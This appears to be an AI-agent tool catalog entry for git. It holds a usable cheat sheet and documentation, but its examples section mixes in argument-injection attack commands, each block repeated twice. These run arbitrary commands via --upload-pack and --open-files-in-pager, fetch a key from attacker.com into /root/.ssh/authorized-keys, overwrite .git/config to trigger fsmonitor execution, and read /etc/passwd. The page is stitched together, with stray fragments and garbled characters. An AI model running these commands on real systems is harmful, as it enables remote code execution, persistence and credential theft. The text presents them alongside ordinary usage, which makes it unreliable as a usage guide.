dev enabled verified low v1.0.0

git

Distributed version control system for tracking changes in source code and coordinating collaborative development.

📋 Live Preview
git {action} {repository}
๐Ÿ“Ž action ๐Ÿ“Ž repository
git {action} {repository}

Sandbox: execFile · Timeout: 120s

Capabilities

dev.vcs.log
dev.vcs.branch
dev.vcs.diff
dev.vcs.push
dev.vcs.stash
dev.vcs.merge
dev.vcs.rebase
dev.vcs.status
dev.vcs.pull
dev.vcs.commit
dev.vcs.clone
dev.vcs.tag
security.execution.command
system.file.read
system.file.write

Parameters

Name Type Required Default Description Aliases
action string Yes - Git subcommand (init, clone, add, commit, push, pull, etc.) -
repository string No - Repository URL or filesystem path -
worktree-add string No - Add a worktree with a specific path -
config-path string No - Set a config value pointing to a script path -
hooks-path string No - Override hooks directory path -

Artifacts

TypeDescriptionMIMESchemaTrust
dev.vcs.repositoryGit repository initialized or cloned--verified
dev.vcs.commit.objectCommit object created--verified
dev.vcs.diff.outputUnified diff outputtext/plain-verified
dev.vcs.log.outputGit log outputtext/plain-verified

Contract

Inputs

dev.vcs.remote.url

Remote repository URL for clone/push/pull

dev.vcs.path

Local repository or file path

Outputs

dev.vcs.repository

Initialized or modified repository

dev.vcs.diff.output

Changeset diff

Side effects: filesystem_write

Workflow Edges

Produces

dev.vcs.repositorydev.vcs.diff.output

Consumes

dev.vcs.remote.urldev.vcs.path

Resource Profile

ResourceValue
CPUlow
Memory64 MB
Networklow
Disk I/Omedium

Examples

Initialize a new repository

git init my-project

Clone a remote repository

git clone https://github.com/user/repo.git

Stage and commit changes

git add . && git commit -m 'initial commit'

View commit history

git log --oneline --graph -10

Create and switch to a new branch

git checkout -b feature/new-feature

The --open-files-in-pager flag can be used to run arbitrary commands. Any of the following should work.

git grep --open-files-in-pager='uname -a #' .
git grep --open-files-in-pager='uname;' .

The --upload-pack flag can be used in multiple contexts. Note that the output is not necessarily shown (but you can route the output to stderr and possibly view it, by using `>&2`). ls-remote is the only example which does not require the command to be run within a tracked folder. Any of the following should work.

git ls-remote --upload-pack='uname -a > /tmp/file #' main
git fetch origin --upload-pack='cat /etc/passwd >&2 ;'
git pull origin --upload-pack='wget attacker.com/key -O /root/.ssh/authorized-keys #'

The `--upload-pack` / `-u` flag on `git clone` can execute commands. A colon in the positional argument helps trigger execution.

git clone '-u$({touch,/tmp/foo})' ':x'

This method takes advantage of one of the file-write methods to overwrite `.git/config`. Officially, this is probably out of scope of GTFOArgs, but it is included anyways. `id` is executed and written to `/tmp/fsmonitor` in this example.

git commit --allow-empty -m 'fsmonitor = "id>/tmp/fsmonitor"'
git commit --allow-empty -m '[core]'
git log --max-count=2 --pretty=format:"%s" --output=./.git/config
git status

It is common to use `git diff` to compare a single file to a different version of itself in history. The `--no-index` flag can be used to effectively turn `git diff` into normal `diff` against another file _within the git repository_ (but not necessarily tracked).

git diff --no-index local-secret-file.conf git.md

Argument injection: execute arbitrary command: The --open-files-in-pager flag can be used to run arbitrary commands. Any of the following should work.

git grep --open-files-in-pager='uname -a #' .
git grep --open-files-in-pager='uname;' .

Argument injection: execute arbitrary command: The --upload-pack flag can be used in multiple contexts. Note that the output is not necessarily shown (but you can route the output to stderr and possibly view it, by using `>&2`). ls-remote is the only example which does not require the command to be run within a tracked folder. Any of the following should work.

git ls-remote --upload-pack='uname -a > /tmp/file #' main
git fetch origin --upload-pack='cat /etc/passwd >&2 ;'
git pull origin --upload-pack='wget attacker.com/key -O /root/.ssh/authorized-keys #'

Argument injection: execute arbitrary command: The `--upload-pack` / `-u` flag on `git clone` can execute commands. A colon in the positional argument helps trigger execution.

git clone '-u$({touch,/tmp/foo})' ':x'

Argument injection: execute arbitrary command: This method takes advantage of one of the file-write methods to overwrite `.git/config`. Officially, this is probably out of scope of GTFOArgs, but it is included anyways. `id` is executed and written to `/tmp/fsmonitor` in this example.

git commit --allow-empty -m 'fsmonitor = "id>/tmp/fsmonitor"'
git commit --allow-empty -m '[core]'
git log --max-count=2 --pretty=format:"%s" --output=./.git/config
git status

Argument injection: read local file: It is common to use `git diff` to compare a single file to a different version of itself in history. The `--no-index` flag can be used to effectively turn `git diff` into normal `diff` against another file _within the git repository_ (but not necessarily tracked).

git diff --no-index local-secret-file.conf git.md

Argument injection: read local file: If you are reading a file outside of the git directory, you can use `git diff` against `/dev/null`.

git diff /dev/null /etc/passwd

Argument injection: read local file: The `--file` flag on `git tag` reads a file's contents into the tag message. Retrieve it with `git cat-file`.

git tag '--file=/etc/passwd' main
git cat-file -p refs/tags/main

Argument injection: write to local file: Outputs the most recent changelog to an arbitrary file. Note that this also contains the commit information.

git log --max-count=1 --output=/root/.ssh/authorized_keys

Argument injection: write to local file: Outputs the first line of the most recent commit message to an arbitrary file.

git log --max-count=1 --pretty=format:"%s" --output=/root/.ssh/authorized_keys

Argument injection: write to local file: Can be used to overwrite a file, or create an empty file.

git blame --output=/tmp/file_to_truncate.txt

Argument injection: write to local file: Archives the repository to an arbitrary output file.

git archive '--output=/tmp/foo'

Argument injection: write to local file: The undocumented `--output` flag on `git diff` can truncate or create files.

git diff '--output=/tmp/file_to_truncate.txt'

Set your identity.

git config --global user.name "John Doe"

cheat.sheets: git

git config --global user.email johndoe@example.com

Set your editor.

git config --global core.editor emacs

Enable color support for commands like `git diff`. Disable with `never` or partially disable -- unless otherwise applied -- with `false`.

git config --global color.ui true

Stage all changes for commit.

git add [--all|-A]

Stash changes locally. This will keep the changes in a separate changelist, - called 'stash', and the working directory is cleaned. You can apply changes from the stash at any time.

git stash

Stash changes with a message.

git stash save "message"

List all the stashed changes.

git stash list

Apply the most recent change and remove the stash from the stash list.

git stash pop

Apply stash from the stash list, but does not remove the stash from the list.

git stash apply stash@{6}

Commit staged changes.

git commit -m "Your commit message"

Edit previous commit message.

git commit --amend

Commit in the past. Newer versions of Git allow `--date="2 days ago"` usage.

git commit --date="`date --date='2 day ago'`"

cheat.sheets: git

git commit --date="Jun 13 18:30:25 IST 2015"

Change the date of an existing commit.

git filter-branch --env-filter \

cheat.sheets: git

'if [ $GIT_COMMIT = 119f9ecf58069b265ab22f1f97d2b648faf932e0 ]

cheat.sheets: git

then

cheat.sheets: git

export GIT_AUTHOR_DATE="Fri Jan 2 21:38:53 2009 -0800"

cheat.sheets: git

export GIT_COMMITTER_DATE="Sat May 19 01:01:01 2007 -0700"

cheat.sheets: git

fi'

Remove staged and working directory changes.

git reset --hard

Go 2 commits back.

git reset --hard HEAD~2

Remove untracked files.

git clean -f -d

Remove untracked and ignored files.

git clean -f -d -x

Push to the tracked master branch.

git push origin master

Push to a specified repository.

git push git@github.com:[USER_NAME]/[REPO_NAME].git

Delete the branch "branch_name".

git branch -D [BRANCH]

Make an existing branch track a remote branch.

git branch -u upstream/foo

List all local and remote branches.

git branch -a

See who committed which line in a file.

git blame [FILE]

Sync a fork with the master repo.

git remote add upstream git@github.com:name/repo.git # <-- Set a new repo.

cheat.sheets: git

git remote -v # <-- Confirm new remote repo.

cheat.sheets: git

git fetch upstream # <-- Get branches.

cheat.sheets: git

git branch -va # <-- List local - remote branches.

cheat.sheets: git

git checkout master # <-- Checkout local master branch.

cheat.sheets: git

git checkout -b new_branch # <-- Create and checkout a new branch.

cheat.sheets: git

git merge upstream/master # <-- Merge remote into local repo.

cheat.sheets: git

git show 83fb499 # <-- Show what a commit did.

cheat.sheets: git

git show 83fb499:path/to/file.ext # <-- Show the file as it was in 83fb499.

cheat.sheets: git

git diff branch_1 branch_2 # <-- Check difference between branches.

cheat.sheets: git

git log # <-- Show all of the commits.

cheat.sheets: git

git status # <-- Show the changes from the last commit.

Display the commit history of a set of files.

git log --pretty=email --patch-with-stat --reverse --full-index -- Admin\*.py > Sripts.patch

Import commits from another repo.

git --git-dir=../some_other_repo/.git format-patch -k -1 --stdout <commit SHA> | git am -3 -k

View commits which would be pushed.

git log @{u}..

View changes which are new on a feature branch.

git log -p feature --not master

cheat.sheets: git

git diff master...feature

Interactive rebase for the last 7 commits.

git rebase -i @~7

Show changes to files WITHOUT considering them a part of git. This can be used to diff files which are not part of a git repo!

git diff --no-index path/to/file/A path/to/file/B

Pull changes, while overwriting any local commits.

git fetch --all

cheat.sheets: git

git reset --hard origin/master

Update all submodules.

git submodule update --init --recursive

Perform a shallow clone, to only get the latest commits, which helps to save data (good for limited data connections) when cloning large repos.

git clone --depth 1 <remote-url>

Unshallow a clone.

git pull --unshallow

Create a bare branch; without any commits.

git checkout --orphan branch_name

Checkout a new branch from a different starting point.

git checkout -b master upstream/master

Reset local branch to upstream branch, then checkout it.

git checkout -B master upstream/master

Remove all stale branches; ones that have been deleted on remote. So if you have a lot of useless branches, delete them on GitHub and then run this.

git remote prune origin

Prune all remotes at once.

git remote prune $(git remote | tr '\n' ' ')

Revisions can also be identified with `:/text`. So, this will show the first commit that has the string "cool" in its message body.

git show :/cool

Undo parts of the last commit in a specific file.

git checkout -p HEAD^ -- /path/to/file

Revert a commit, but keep the history of the event as a separate commit.

git revert <commit SHA>

Apply only the changes made within a given commit. This is different to the `merge` command, as it would otherwise apply all commits from a branch.

git cherry-pick [HASH]

Undo last commit. If you want to nuke commit C to never see it again: (F) A-B-C โ†‘ master

git reset --hard HEAD~1

Undo last commit. If you want to undo the commit, but keep your changes: (F) A-B-C โ†‘ master

git reset HEAD~1

List files changed in a given commit.

git diff-tree --no-commit-id --name-only -r [HASH]

Porcelain-ly List files changed in a given commit; user-facing approach.

git show --pretty="" --name-only bd61ad98

See everything you have done, across branches, in a glance, then go to the place right before you broke everything.

git reflog

cheat.sheets: git

git reset HEAD@{hash}

Move your most recent commit from one branch, to stage it on [BRANCH].

git reset HEAD~ --soft

cheat.sheets: git

git stash

cheat.sheets: git

git checkout [BRANCH]

cheat.sheets: git

git stash pop

cheat.sheets: git

git add .

Documentation

Git โ€” Distributed Version Control

Git is a distributed version control system designed to handle everything from small to very large projects with speed and efficiency. It allows multiple developers to work on the same codebase simultaneously through branching, merging, and distributed workflows.

Core Concepts

Repositories

A Git repository is a data structure that stores metadata and object database for a project. Repositories can be local (on-disk) or remote (network-accessible).

Commits

Snapshots of the project at a point in time. Each commit has a unique SHA-1 hash, author, timestamp, and parent pointer forming a directed acyclic graph.

Branches

Lightweight movable pointers to commits. The default branch is main (formerly master). Branching in Git is cheap and encouraged.

The Three States

  1. Working Directory โ€” Modified files not yet staged
  2. Staging Area (Index) โ€” Files marked for inclusion in next commit
  3. Repository โ€” Committed snapshots stored in .git/

Common Workflows

# Standard commit workflow
git add <files>
git commit -m "descriptive message"
git push origin main

# Feature branch workflow
git checkout -b feature/xyz
git add .
git commit -m "feat: add xyz"
git checkout main
git merge feature/xyz

Undoing Changes

# Unstage a file
git reset HEAD <file>

# Discard working directory changes
git checkout -- <file>

# Amend last commit message
git commit --amend -m "new message"

# Reset to previous commit (destructive)
git reset --hard HEAD~1

Remote Operations

# Add a remote
git remote add origin https://github.com/user/repo.git

# Fetch without merging
git fetch origin

# Pull with rebase
git pull --rebase origin main

# Push to remote
git push -u origin main

Related Tools

  • gh โ€” GitHub CLI for issue/PR management
  • lazygit โ€” Terminal UI for Git
  • diff-so-fancy โ€” Improved diff output

Related Tools

ghhublazygittig

References